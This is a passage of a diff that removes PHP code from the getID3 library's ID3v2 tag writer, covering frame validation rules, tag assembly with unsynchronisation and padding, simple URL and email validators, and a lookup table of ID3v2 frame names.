elseif (in_array($frame_name.$source_data_array['frameid'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same FrameID ('.$source_data_array['frameid'].')'; - } elseif (in_array($source_data_array['frameid'], $PreviousFrames)) { - // no links to singleton tags - $this->errors[] = 'Cannot specify a '.$frame_name.' tag to a singleton tag that already exists ('.$source_data_array['frameid'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['frameid']; // only one linked tag of this type - $PreviousFrames[] = $source_data_array['frameid']; // no non-linked singleton tags of this type - } - break; - - case 'COMR': - // There may be more than one 'commercial frame' in a tag, but no two may be identical - // Checking isn't implemented at all (yet) - just assumes that it's OK. - break; - - case 'PRIV': - if (!isset($source_data_array['ownerid'])) { - $this->errors[] = '[ownerid] not specified for '.$frame_name; - } elseif (!isset($source_data_array['data'])) { - $this->errors[] = '[data] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['ownerid'].$source_data_array['data'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID + Data ('.$source_data_array['ownerid'].' + '.$source_data_array['data'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['ownerid'].$source_data_array['data']; - } - break; - - default: - if (($frame_name[0] != 'T') && ($frame_name[0] != 'W')) { - $this->errors[] = 'Frame not allowed in ID3v2.'.$this->majorversion.': '.$frame_name; - } - break; - } - - } elseif ($this->majorversion == 2) { - - switch ($frame_name) { - case 'UFI': - case 'CRM': - case 'CRA': - if (!isset($source_data_array['ownerid'])) { - $this->errors[] = '[ownerid] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['ownerid'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same OwnerID ('.$source_data_array['ownerid'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['ownerid']; - } - break; - - case 'TXX': - case 'WXX': - case 'PIC': - case 'GEO': - if (!isset($source_data_array['description'])) { - $this->errors[] = '[description] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['description'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Description ('.$source_data_array['description'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['description']; - } - break; - - case 'ULT': - case 'SLT': - case 'COM': - if (!isset($source_data_array['language'])) { - $this->errors[] = '[language] not specified for '.$frame_name; - } elseif (!isset($source_data_array['description'])) { - $this->errors[] = '[description] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['language'].$source_data_array['description'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Language + Description ('.$source_data_array['language'].' + '.$source_data_array['description'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['language'].$source_data_array['description']; - } - break; - - case 'POP': - if (!isset($source_data_array['email'])) { - $this->errors[] = '[email] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['email'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same Email ('.$source_data_array['email'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['email']; - } - break; - - case 'IPL': - case 'MCI': - case 'ETC': - case 'MLL': - case 'STC': - case 'RVA': - case 'EQU': - case 'REV': - case 'CNT': - case 'BUF': - if (in_array($frame_name, $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed'; - } else { - $PreviousFrames[] = $frame_name; - } - break; - - case 'LNK': - // this isn't implemented quite right (yet) - it should check the target frame data for compliance - // but right now it just allows one linked frame of each type, to be safe. - if (!isset($source_data_array['frameid'])) { - $this->errors[] = '[frameid] not specified for '.$frame_name; - } elseif (in_array($frame_name.$source_data_array['frameid'], $PreviousFrames)) { - $this->errors[] = 'Only one '.$frame_name.' tag allowed with the same FrameID ('.$source_data_array['frameid'].')'; - } elseif (in_array($source_data_array['frameid'], $PreviousFrames)) { - // no links to singleton tags - $this->errors[] = 'Cannot specify a '.$frame_name.' tag to a singleton tag that already exists ('.$source_data_array['frameid'].')'; - } else { - $PreviousFrames[] = $frame_name.$source_data_array['frameid']; // only one linked tag of this type - $PreviousFrames[] = $source_data_array['frameid']; // no non-linked singleton tags of this type - } - break; - - default: - if (($frame_name[0] != 'T') && ($frame_name[0] != 'W')) { - $this->errors[] = 'Frame not allowed in ID3v2.'.$this->majorversion.': '.$frame_name; - } - break; - } - } - - if (!empty($this->errors)) { - return false; - } - return true; - } - - /** - * @param bool $noerrorsonly - * - * @return string|false - */ - public function GenerateID3v2Tag($noerrorsonly=true) { - $this->ID3v2FrameIsAllowed(null, ''); // clear static array in case this isn't the first call to $this->GenerateID3v2Tag() - - $tagstring = ''; - if (is_array($this->tag_data)) { - foreach ($this->tag_data as $frame_name => $frame_rawinputdata) { - foreach ($frame_rawinputdata as $irrelevantindex => $source_data_array) { - if (getid3_id3v2::IsValidID3v2FrameName($frame_name, $this->majorversion)) { - unset($frame_length); - unset($frame_flags); - $frame_data = false; - if ($this->ID3v2FrameIsAllowed($frame_name, $source_data_array)) { - if(array_key_exists('description', $source_data_array) && array_key_exists('encodingid', $source_data_array) && array_key_exists('encoding', $this->tag_data)) { - $source_data_array['description'] = getid3_lib::iconv_fallback($this->tag_data['encoding'], $source_data_array['encoding'], $source_data_array['description']); - } - if ($frame_data = $this->GenerateID3v2FrameData($frame_name, $source_data_array)) { - $FrameUnsynchronisation = false; - if ($this->majorversion >= 4) { - // frame-level unsynchronisation - $unsynchdata = $frame_data; - if ($this->id3v2_use_unsynchronisation) { - $unsynchdata = $this->Unsynchronise($frame_data); - } - if (strlen($unsynchdata) != strlen($frame_data)) { - // unsynchronisation needed - $FrameUnsynchronisation = true; - $frame_data = $unsynchdata; - if (isset($TagUnsynchronisation) && $TagUnsynchronisation === false) { - // only set to true if ALL frames are unsynchronised - } else { - $TagUnsynchronisation = true; - } - } else { - if (isset($TagUnsynchronisation)) { - $TagUnsynchronisation = false; - } - } - unset($unsynchdata); - - $frame_length = getid3_lib::BigEndian2String(strlen($frame_data), 4, true); - } else { - $frame_length = getid3_lib::BigEndian2String(strlen($frame_data), 4, false); - } - $frame_flags = $this->GenerateID3v2FrameFlags($this->ID3v2FrameFlagsLookupTagAlter($frame_name), $this->ID3v2FrameFlagsLookupFileAlter($frame_name), false, false, false, false, $FrameUnsynchronisation, false); - } - } else { - $this->errors[] = 'Frame "'.$frame_name.'" is NOT allowed'; - } - if ($frame_data === false) { - $this->errors[] = '$this->GenerateID3v2FrameData() failed for "'.$frame_name.'"'; - if ($noerrorsonly) { - return false; - } else { - $frame_name = null; - } - } - } else { - // ignore any invalid frame names, including 'title', 'header', etc - $this->warnings[] = 'Ignoring invalid ID3v2 frame type: "'.$frame_name.'"'; - $frame_name = null; - unset($frame_length); - unset($frame_flags); - unset($frame_data); - } - if (null !== $frame_name && isset($frame_length) && isset($frame_flags) && isset($frame_data)) { - $tagstring .= $frame_name.$frame_length.$frame_flags.$frame_data; - } - } - } - - if (!isset($TagUnsynchronisation)) { - $TagUnsynchronisation = false; - } - if (($this->majorversion <= 3) && $this->id3v2_use_unsynchronisation) { - // tag-level unsynchronisation - $unsynchdata = $this->Unsynchronise($tagstring); - if (strlen($unsynchdata) != strlen($tagstring)) { - // unsynchronisation needed - $TagUnsynchronisation = true; - $tagstring = $unsynchdata; - } - } - - while ($this->paddedlength < (strlen($tagstring) + getid3_id3v2::ID3v2HeaderLength($this->majorversion))) { - $this->paddedlength += 1024; - } - - $footer = false; // ID3v2 footers not yet supported in getID3() - if (/*!$footer && */($this->paddedlength > (strlen($tagstring) + getid3_id3v2::ID3v2HeaderLength($this->majorversion)))) { - // pad up to $paddedlength bytes if unpadded tag is shorter than $paddedlength - // "Furthermore it MUST NOT have any padding when a tag footer is added to the tag." - if (($this->paddedlength - strlen($tagstring) - getid3_id3v2::ID3v2HeaderLength($this->majorversion)) > 0) { - $tagstring .= str_repeat("\x00", $this->paddedlength - strlen($tagstring) - getid3_id3v2::ID3v2HeaderLength($this->majorversion)); - } - } - if ($this->id3v2_use_unsynchronisation && (substr($tagstring, strlen($tagstring) - 1, 1) == "\xFF")) { - // special unsynchronisation case: - // if last byte == $FF then appended a $00 - $TagUnsynchronisation = true; - $tagstring .= "\x00"; - } - - $tagheader = 'ID3'; - $tagheader .= chr($this->majorversion); - $tagheader .= chr($this->minorversion); - $tagheader .= $this->GenerateID3v2TagFlags(array('unsynchronisation'=>$TagUnsynchronisation)); - $tagheader .= getid3_lib::BigEndian2String(strlen($tagstring), 4, true); - - return $tagheader.$tagstring; - } - $this->errors[] = 'tag_data is not an array in GenerateID3v2Tag()'; - return false; - } - - /** - * @param string $pricestring - * - * @return bool - */ - public function ID3v2IsValidPriceString($pricestring) { - if (getid3_id3v2::LanguageLookup(substr($pricestring, 0, 3), true) == '') { - return false; - } elseif (!getid3_id3v2::IsANumber(substr($pricestring, 3), true)) { - return false; - } - return true; - } - - /** - * @param string $framename - * - * @return bool - */ - public function ID3v2FrameFlagsLookupTagAlter($framename) { - // unfinished - switch ($framename) { - case 'RGAD': - $allow = true; - break; - default: - $allow = false; - break; - } - return $allow; - } - - /** - * @param string $framename - * - * @return bool - */ - public function ID3v2FrameFlagsLookupFileAlter($framename) { - // unfinished - switch ($framename) { - case 'RGAD': - return false; - - default: - return false; - } - } - - /** - * @param int $eventid - * - * @return bool - */ - public function ID3v2IsValidETCOevent($eventid) { - if (($eventid < 0) || ($eventid > 0xFF)) { - // outside range of 1 byte - return false; - } elseif (($eventid >= 0xF0) && ($eventid <= 0xFC)) { - // reserved for future use - return false; - } elseif (($eventid >= 0x17) && ($eventid <= 0xDF)) { - // reserved for future use - return false; - } elseif (($eventid >= 0x0E) && ($eventid <= 0x16) && ($this->majorversion == 2)) { - // not defined in ID3v2.2 - return false; - } elseif (($eventid >= 0x15) && ($eventid <= 0x16) && ($this->majorversion == 3)) { - // not defined in ID3v2.3 - return false; - } - return true; - } - - /** - * @param int $contenttype - * - * @return bool - */ - public function ID3v2IsValidSYLTtype($contenttype) { - if (($contenttype >= 0) && ($contenttype <= 8) && ($this->majorversion == 4)) { - return true; - } elseif (($contenttype >= 0) && ($contenttype <= 6) && ($this->majorversion == 3)) { - return true; - } - return false; - } - - /** - * @param int $channeltype - * - * @return bool - */ - public function ID3v2IsValidRVA2channeltype($channeltype) { - if (($channeltype >= 0) && ($channeltype <= 8) && ($this->majorversion == 4)) { - return true; - } - return false; - } - - /** - * @param int $picturetype - * - * @return bool - */ - public function ID3v2IsValidAPICpicturetype($picturetype) { - if (($picturetype >= 0) && ($picturetype <= 0x14) && ($this->majorversion >= 2) && ($this->majorversion <= 4)) { - return true; - } - return false; - } - - /** - * @param int|string $imageformat - * - * @return bool - */ - public function ID3v2IsValidAPICimageformat($imageformat) { - if ($imageformat == '-->') { - return true; - } elseif ($this->majorversion == 2) { - if ((strlen($imageformat) == 3) && ($imageformat == strtoupper($imageformat))) { - return true; - } - } elseif (($this->majorversion == 3) || ($this->majorversion == 4)) { - if ($this->IsValidMIMEstring($imageformat)) { - return true; - } - } - return false; - } - - /** - * @param int $receivedas - * - * @return bool - */ - public function ID3v2IsValidCOMRreceivedAs($receivedas) { - if (($this->majorversion >= 3) && ($receivedas >= 0) && ($receivedas <= 8)) { - return true; - } - return false; - } - - /** - * @param int $RGADname - * - * @return bool - */ - public static function ID3v2IsValidRGADname($RGADname) { - if (($RGADname >= 0) && ($RGADname <= 2)) { - return true; - } - return false; - } - - /** - * @param int $RGADoriginator - * - * @return bool - */ - public static function ID3v2IsValidRGADoriginator($RGADoriginator) { - if (($RGADoriginator >= 0) && ($RGADoriginator <= 3)) { - return true; - } - return false; - } - - /** - * @param int $textencodingbyte - * - * @return bool - */ - public function ID3v2IsValidTextEncoding($textencodingbyte) { - // 0 = ISO-8859-1 - // 1 = UTF-16 with BOM - // 2 = UTF-16BE without BOM - // 3 = UTF-8 - static $ID3v2IsValidTextEncoding_cache = array( - 2 => array(true, true), // ID3v2.2 - allow 0=ISO-8859-1, 1=UTF-16 - 3 => array(true, true), // ID3v2.3 - allow 0=ISO-8859-1, 1=UTF-16 - 4 => array(true, true, true, true), // ID3v2.4 - allow 0=ISO-8859-1, 1=UTF-16, 2=UTF-16BE, 3=UTF-8 - ); - return isset($ID3v2IsValidTextEncoding_cache[$this->majorversion][$textencodingbyte]); - } - - /** - * @param string $data - * - * @return string - */ - public static function Unsynchronise($data) { - // Whenever a false synchronisation is found within the tag, one zeroed - // byte is inserted after the first false synchronisation byte. The - // format of a correct sync that should be altered by ID3 encoders is as - // follows: - // %11111111 111xxxxx - // And should be replaced with: - // %11111111 00000000 111xxxxx - // This has the side effect that all $FF 00 combinations have to be - // altered, so they won't be affected by the decoding process. Therefore - // all the $FF 00 combinations have to be replaced with the $FF 00 00 - // combination during the unsynchronisation. - - $data = str_replace("\xFF\x00", "\xFF\x00\x00", $data); - $unsyncheddata = ''; - $datalength = strlen($data); - for ($i = 0; $i < $datalength; $i++) { - $thischar = $data[$i]; - $unsyncheddata .= $thischar; - if ($thischar == "\xFF") { - $nextchar = ord($data[$i + 1]); - if (($nextchar & 0xE0) == 0xE0) { - // previous byte = 11111111, this byte = 111????? - $unsyncheddata .= "\x00"; - } - } - } - return $unsyncheddata; - } - - /** - * @param mixed $var - * - * @return bool - */ - public function is_hash($var) { - // written by dev-nullØchristophe*vg - // taken from http://www.php.net/manual/en/function.array-merge-recursive.php - if (is_array($var)) { - $keys = array_keys($var); - $all_num = true; - foreach ($keys as $key) { - if (is_string($key)) { - return true; - } - } - } - return false; - } - - /** - * @param mixed $arr1 - * @param mixed $arr2 - * - * @return array - */ - public function array_join_merge($arr1, $arr2) { - // written by dev-nullØchristophe*vg - // taken from http://www.php.net/manual/en/function.array-merge-recursive.php - if (is_array($arr1) && is_array($arr2)) { - // the same -> merge - $new_array = array(); - - if ($this->is_hash($arr1) && $this->is_hash($arr2)) { - // hashes -> merge based on keys - $keys = array_merge(array_keys($arr1), array_keys($arr2)); - foreach ($keys as $key) { - $new_array[$key] = $this->array_join_merge((isset($arr1[$key]) ? $arr1[$key] : ''), (isset($arr2[$key]) ? $arr2[$key] : '')); - } - } else { - // two real arrays -> merge - $new_array = array_reverse(array_unique(array_reverse(array_merge($arr1, $arr2)))); - } - return $new_array; - } else { - // not the same ... take new one if defined, else the old one stays - return $arr2 ? $arr2 : $arr1; - } - } - - /** - * @param string $mimestring - * - * @return false|int - */ - public static function IsValidMIMEstring($mimestring) { - return preg_match('#^.+/.+$#', $mimestring); - } - - /** - * @param int $number - * @param int $maxbits - * @param bool $signed - * - * @return bool - */ - public static function IsWithinBitRange($number, $maxbits, $signed=false) { - if ($signed) { - if (($number > (0 - pow(2, $maxbits - 1))) && ($number <= pow(2, $maxbits - 1))) { - return true; - } - } else { - if (($number >= 0) && ($number <= pow(2, $maxbits))) { - return true; - } - } - return false; - } - - /** - * @param string $email - * - * @return false|int|mixed - */ - public static function IsValidEmail($email) { - if (function_exists('filter_var')) { - return filter_var($email, FILTER_VALIDATE_EMAIL); - } - // VERY crude email validation - return preg_match('#^[^ ]+@[a-z\\-\\.]+\\.[a-z]{2,}$#', $email); - } - - /** - * @param string $url - * @param bool $allowUserPass - * - * @return bool - */ - public static function IsValidURL($url, $allowUserPass=false) { - if ($url == '') { - return false; - } - if ($allowUserPass !== true) { - if (strstr($url, '@')) { - // in the format http://user:pass@example.com or http://user@example.com - // but could easily be somebody incorrectly entering an email address in place of a URL - return false; - } - } - // 2016-06-08: relax URL checking to avoid falsely rejecting valid URLs, leave URL validation to the user - // https://www.getid3.org/phpBB3/viewtopic.php?t=1926 - return true; - /* - if ($parts = $this->safe_parse_url($url)) { - if (($parts['scheme'] != 'http') && ($parts['scheme'] != 'https') && ($parts['scheme'] != 'ftp') && ($parts['scheme'] != 'gopher')) { - return false; - } elseif (!preg_match('#^[[:alnum:]]([-.]?[0-9a-z])*\\.[a-z]{2,3}$#i', $parts['host'], $regs) && !preg_match('#^[0-9]{1,3}(\\.[0-9]{1,3}){3}$#', $parts['host'])) { - return false; - } elseif (!preg_match('#^([[:alnum:]-]|[\\_])*$#i', $parts['user'], $regs)) { - return false; - } elseif (!preg_match('#^([[:alnum:]-]|[\\_])*$#i', $parts['pass'], $regs)) { - return false; - } elseif (!preg_match('#^[[:alnum:]/_\\.@~-]*$#i', $parts['path'], $regs)) { - return false; - } elseif (!empty($parts['query']) && !preg_match('#^[[:alnum:]?&=+:;_()%\\#/,\\.-]*$#i', $parts['query'], $regs)) { - return false; - } else { - return true; - } - } - return false; - */ - } - - /** - * @param string $url - * - * @return array - */ - public static function safe_parse_url($url) { - $parts = @parse_url($url); - $parts['scheme'] = (isset($parts['scheme']) ? $parts['scheme'] : ''); - $parts['host'] = (isset($parts['host']) ? $parts['host'] : ''); - $parts['user'] = (isset($parts['user']) ? $parts['user'] : ''); - $parts['pass'] = (isset($parts['pass']) ? $parts['pass'] : ''); - $parts['path'] = (isset($parts['path']) ? $parts['path'] : ''); - $parts['query'] = (isset($parts['query']) ? $parts['query'] : ''); - return $parts; - } - - /** - * @param int $majorversion - * @param string $long_description - * - * @return string - */ - public static function ID3v2ShortFrameNameLookup($majorversion, $long_description) { - $long_description = str_replace(' ', '_', strtolower(trim($long_description))); - static $ID3v2ShortFrameNameLookup = array(); - if (empty($ID3v2ShortFrameNameLookup)) { - - // The following are unique to ID3v2.2 - $ID3v2ShortFrameNameLookup[2]['recommended_buffer_size'] = 'BUF'; - $ID3v2ShortFrameNameLookup[2]['comment'] = 'COM'; - $ID3v2ShortFrameNameLookup[2]['audio_encryption'] = 'CRA'; - $ID3v2ShortFrameNameLookup[2]['encrypted_meta_frame'] = 'CRM'; - $ID3v2ShortFrameNameLookup[2]['equalisation'] = 'EQU'; - $ID3v2ShortFrameNameLookup[2]['event_timing_codes'] = 'ETC'; - $ID3v2ShortFrameNameLookup[2]['general_encapsulated_object'] = 'GEO'; - $ID3v2ShortFrameNameLookup[2]['involved_people_list'] = 'IPL'; - $ID3v2ShortFrameNameLookup[2]['linked_information'] = 'LNK'; - $ID3v2ShortFrameNameLookup[2]['music_cd_identifier'] = 'MCI'; - $ID3v2ShortFrameNameLookup[2]['mpeg_location_lookup_table'] = 'MLL'; - $ID3v2ShortFrameNameLookup[2]['attached_picture'] = 'PIC'; - $ID3v2ShortFrameNameLookup[2]['popularimeter'] = 'POP'; - $ID3v2ShortFrameNameLookup[2]['reverb'] = 'REV'; - $ID3v2ShortFrameNameLookup[2]['relative_volume_adjustment'] = 'RVA'; - $ID3v2ShortFrameNameLookup[2]['synchronised_lyric'] = 'SLT'; - $ID3v2ShortFrameNameLookup[2]['synchronised_tempo_codes'] = 'STC'; - $ID3v2ShortFrameNameLookup[2]['album'] = 'TAL'; - $ID3v2ShortFrameNameLookup[2]['beats_per_minute'] = 'TBP'; - $ID3v2ShortFrameNameLookup[2]['bpm'] = 'TBP'; - $ID3v2ShortFrameNameLookup[2]['composer'] = 'TCM'; - $ID3v2ShortFrameNameLookup[2]['genre'] = 'TCO'; - $ID3v2ShortFrameNameLookup[2]['part_of_a_compilation'] = 'TCP'; - $ID3v2ShortFrameNameLookup[2]['copyright_message'] = 'TCR'; - $ID3v2ShortFrameNameLookup[2]['date'] = 'TDA'; - $ID3v2ShortFrameNameLookup[2]['playlist_delay'] = 'TDY'; - $ID3v2ShortFrameNameLookup[2]['encoded_by'] = 'TEN'; - $ID3v2ShortFrameNameLookup[2]['file_type'] = 'TFT'; - $ID3v2ShortFrameNameLookup[2]['time'] = 'TIM'; - $ID3v2ShortFrameNameLookup[2]['initial_key'] = 'TKE'; - $ID3v2ShortFrameNameLookup[2]['language'] = 'TLA'; - $ID3v2ShortFrameNameLookup[2]['length'] = 'TLE'; - $ID3v2ShortFrameNameLookup[2]['media_type'] = 'TMT'; - $ID3v2ShortFrameNameLookup[2]['original_artist'] = 'TOA'; - $ID3v2ShortFrameNameLookup[2]['original_filename'] = 'TOF'; - $ID3v2ShortFrameNameLookup[2]['original_lyricist'] = 'TOL'; - $ID3v2ShortFrameNameLookup[2]['original_year'] = 'TOR'; - $ID3v2ShortFrameNameLookup[2]['original_album'] = 'TOT'; - $ID3v2ShortFrameNameLookup[2]['artist'] = 'TP1'; - $ID3v2ShortFrameNameLookup[2]['band'] = 'TP2'; - $ID3v2ShortFrameNameLookup[2]['conductor'] = 'TP3'; - $ID3v2ShortFrameNameLookup[2]['remixer'] = 'TP4'; - $ID3v2ShortFrameNameLookup[2]['part_of_a_set'] = 'TPA'; - $ID3v2ShortFrameNameLookup[2]['publisher'] = 'TPB'; - $ID3v2ShortFrameNameLookup[2]['isrc'] = 'TRC'; - $ID3v2ShortFrameNameLookup[2]['recording_dates'] = 'TRD'; - $ID3v2ShortFrameNameLookup[2]['tracknumber'] = 'TRK'; - $ID3v2ShortFrameNameLookup[2]['track_number'] = 'TRK'; - $ID3v2ShortFrameNameLookup[2]['album_artist_sort_order'] = 'TS2'; - $ID3v2ShortFrameNameLookup[2]['album_sort_order'] = 'TSA'; - $ID3v2ShortFrameNameLookup[2]['composer_sort_order'] = 'TSC'; - $ID3v2ShortFrameNameLookup[2]['size'] = 'TSI'; - $ID3v2ShortFrameNameLookup[2]['performer_sort_order'] = 'TSP'; - $ID3v2ShortFrameNameLookup[2]['encoder_settings'] = 'TSS'; - $ID3v2ShortFrameNameLookup[2]['title_sort_order'] = 'TST'; - $ID3v2ShortFrameNameLookup[2]['content_group_description'] = 'TT1'; - $ID3v2ShortFrameNameLookup[2]['title'] = 'TT2'; - $ID3v2ShortFrameNameLookup[2]['subtitle'] = 'TT3'; - $ID3v2ShortFrameNameLookup[2]['lyricist'] = 'TXT'; - $ID3v2ShortFrameNameLookup[2]['text'] = 'TXX'; - $ID3v2ShortFrameNameLookup[2]['year'] = 'TYE'; - $ID3v2ShortFrameNameLookup[2]['unique_file_identifier'] = 'UFI'; - $ID3v2ShortFrameNameLookup[2]['unsynchronised_lyric'] = 'ULT'; - $ID3v2ShortFrameNameLookup[2]['url_file'] = 'WAF'; - $ID3v2ShortFrameNameLookup[2]['url_artist'] = 'WAR'; - $ID3v2ShortFrameNameLookup[2]['url_source'] = 'WAS'; - $ID3v2ShortFrameNameLookup[2]['commercial_information'] = 'WCM'; - $ID3v2ShortFrameNameLookup[2]['copyright'] = 'WCP'; - $ID3v2ShortFrameNameLookup[2]['url_publisher'] = 'WPB'; - $ID3v2ShortFrameNameLookup[2]['url_user'] = 'WXX'; - - // The following are common to ID3v2.3 and ID3v2.4 - $ID3v2ShortFrameNameLookup[3]['audio_encryption'] = 'AENC'; - $ID3v2ShortFrameNameLookup[3]['attached_picture'] = 'APIC'; - $ID3v2ShortFrameNameLookup[3]['picture'] = 'APIC'; - $ID3v2ShortFrameNameLookup[3]['comment'] = 'COMM'; - $ID3v2ShortFrameNameLookup[3]['commercial_frame'] = 'COMR'; - $ID3v2ShortFrameNameLookup[3]['encryption_method_registration'] = 'ENCR'; - $ID3v2ShortFrameNameLookup[3]['event_timing_codes'] = 'ETCO'; - $ID3v2ShortFrameNameLookup[3]['general_encapsulated_object'] = 'GEOB'; - $ID3v2ShortFrameNameLookup[3]['group_identification_registration'] = 'GRID'; - $ID3v2ShortFrameNameLookup[3]['linked_information'] = 'LINK'; - $ID3v2ShortFrameNameLookup[3]['music_cd_identifier'] = 'MCDI'; - $ID3v2ShortFrameNameLookup[3]['mpeg_location_lookup_table'] = 'MLLT'; - $ID3v2ShortFrameNameLookup[3]['ownership_frame'] = 'OWNE'; - $ID3v2ShortFrameNameLookup[3]['play_counter'] = 'PCNT'; - $ID3v2ShortFrameNameLookup[3]['popularimeter'] = 'POPM'; - $ID3v2ShortFrameNameLookup[3]['position_synchronisation_frame'] = 'POSS'; - $ID3v2ShortFrameNameLookup[3]['private_frame'] = 'PRIV'; - $ID3v2ShortFrameNameLookup[3]['recommended_buffer_size'] = 'RBUF'; - $ID3v2ShortFrameNameLookup[3]['replay_gain_adjustment'] = 'RGAD'; - $ID3v2ShortFrameNameLookup[3]['reverb'] = 'RVRB'; - $ID3v2ShortFrameNameLookup[3]['synchronised_lyric'] = 'SYLT'; - $ID3v2ShortFrameNameLookup[3]['synchronised_tempo_codes'] = 'SYTC'; - $ID3v2ShortFrameNameLookup[3]['album'] = 'TALB'; - $ID3v2ShortFrameNameLookup[3]['beats_per_minute'] = 'TBPM'; - $ID3v2ShortFrameNameLookup[3]['bpm'] = 'TBPM'; - $ID3v2ShortFrameNameLookup[3]['part_of_a_compilation'] = 'TCMP'; - $ID3v2ShortFrameNameLookup[3]['composer'] = 'TCOM'; - $ID3v2ShortFrameNameLookup[3]['genre'] = 'TCON'; - $ID3v2ShortFrameNameLookup[3]['copyright_message'] = 'TCOP'; - $ID3v2ShortFrameNameLookup[3]['playlist_delay'] = 'TDLY'; - $ID3v2ShortFrameNameLookup[3]['encoded_by'] = 'TENC'; - $ID3v2ShortFrameNameLookup[3]['lyricist'] = 'TEXT'; - $ID3v2ShortFrameNameLookup[3]['file_type'] = 'TFLT'; - $ID3v2ShortFrameNameLookup[3]['content_group_description'] = 'TIT1'; - $ID3v2ShortFrameNameLookup[3]['title'] = 'TIT2'; - $ID3v2ShortFrameNameLookup[3]['subtitle'] = 'TIT3'; - $ID3v2ShortFrameNameLookup[3]['initial_key'] = 'TKEY'; - $ID3v2ShortFrameNameLookup[3]['language'] = 'TLAN'; - $ID3v2ShortFrameNameLookup[3]['length'] = 'TLEN'; - $ID3v2ShortFrameNameLookup[3]['media_type'] = 'TMED'; - $ID3v2ShortFrameNameLookup[3]['original_album'] = 'TOAL'; - $ID3v2ShortFrameNameLookup[3]['original_filename'] = 'TOFN'; - $ID3v2ShortFrameNameLookup[3]['original_lyricist'] = 'TOLY'; - $ID3v2ShortFrameNameLookup[3]['original_artist'] = 'TOPE'; - $ID3v2ShortFrameNameLookup[3]['file_owner'] = 'TOWN'; - $ID3v2ShortFrameNameLookup[3]['artist'] = 'TPE1'; - $ID3v2ShortFrameNameLookup[3]['band'] = 'TPE2'; - $ID3v2ShortFrameNameLookup[3]['conductor'] = 'TPE3'; - $ID3v2ShortFrameNameLookup[3]['remixer'] = 'TPE4'; - $ID3v2ShortFrameNameLookup[3]['part_of_a_set'] = 'TPOS'; - $ID3v2ShortFrameNameLookup[3]['publisher'] = 'TPUB'; - $ID3v2ShortFrameNameLookup[3]['tracknumber'] = 'TRCK'; - $ID3v2ShortFrameNameLookup[3]['track_number'] = 'TRCK'; - $ID3v2ShortFrameNameLookup[3]['internet_radio_station_name'] = 'TRSN'; - $ID3v2ShortFrameNameLookup[3]['internet_radio_station_owner'] = 'TRSO'; - $ID3v2ShortFrameNameLookup[3]['album_artist_sort_order'] = 'TSO2'; - $ID3v2ShortFrameNameLookup[3]['album_sort_order'] = 'TSOA'; - $ID3v2ShortFrameNameLookup[3]['composer_sort_order'] = 'TSOC'; - $ID3v2ShortFrameNameLookup[3]['performer_sort_order'] = 'TSOP'; - $ID3v2ShortFrameNameLookup[3]['title_sort_order'] = 'TSOT'; - $ID3v2ShortFrameNameLookup[3]['isrc'] = 'TSRC'; - $ID3v2ShortFrameNameLookup[3]['encoder_settings'] = 'TSSE'; - $ID3v2ShortFrameNameLookup[3]['text'] = 'TXXX'; - $ID3v2ShortFrameNameLookup[3]['unique_file_identifier'] = 'UFID'; - $ID3v2ShortFrameNameLookup[3]['terms_of_use'] = 'USER'; - $ID3v2ShortFrameNameLookup[3]['unsynchronised_lyric'] = 'USLT'; - $ID3v2ShortFrameNameLookup[3]['commercial_information'] = 'WCOM'; - $ID3v2ShortFrameNameLookup[3]['copyright'] = 'WCOP'; - $ID3v2ShortFrameNameLookup[3]['url_file'] = 'WOAF'; - $ID3v2ShortFrameNameLookup[3]['url_artist'] = 'WOAR'; - $ID3v2ShortFrameNameLookup[3]['url_source'] = 'WOAS'; - $ID3v2ShortFrameNameLookup[3]['url_station'] = 'WORS'; - $ID3v2ShortFrameNameLookup[3]['url_payment'] = 'WPAY'; - $ID3v2ShortFrameNameLookup[3]['url_publisher'] = 'WPUB'; - $ID3v2ShortFrameNameLookup[3]['url_user'] = 'WXXX'; - - // The above are common to ID3v2.3 and ID3v2.4 - // so copy them to ID3v2.4 before adding specifics for 2.3 and 2.4 - $ID3v2ShortFrameNameLookup[4] = $ID3v2ShortFrameNameLookup[3]; - - // The following are unique to ID3v2.3 - $ID3v2ShortFrameNameLookup[3]['equalisation'] = 'EQUA'; - $ID3v2ShortFrameNameLookup[3]['involved_people_list'] = 'IPLS'; - $ID3v2ShortFrameNameLookup[3]['relative_volume_adjustment'] = 'RVAD'; - $ID3v2ShortFrameNameLookup[3]['date'] = 'TDAT'; - $ID3v2ShortFrameNameLookup[3]['time'] = 'TIME'; - $ID3v2ShortFrameNameLookup[3]['original_year'] = 'TORY'; - $ID3v2ShortFrameNameLookup[3]['recording_dates'] = 'TRDA'; - $ID3v2ShortFrameNameLookup[3]['size'] = 'TSIZ'; - $ID3v2ShortFrameNameLookup[3]['year'] = 'TYER'; - - - // The following are unique to ID3v2.4 - $ID3v2ShortFrameNameLookup[4]['audio_seek_point_index'] = 'ASPI'; - $ID3v2ShortFrameNameLookup[4]['equalisation'] = 'EQU2'; - $ID3v2ShortFrameNameLookup[4]['relative_volume_adjustment'] = 'RVA2'; - $ID3v2ShortFrameNameLookup[4]['seek_frame'] = 'SEEK'; - $ID3v2ShortFrameNameLookup[4]['signature_frame'] = 'SIGN'; - $ID3v2ShortFrameNameLookup[4]['encoding_time'] = 'TDEN'; - $ID3v2ShortFrameNameLookup[4]['original_release_time'] = 'TDOR'; - $ID3v2ShortFrameNameLookup[4]['recording_time'] = 'TDRC'; - 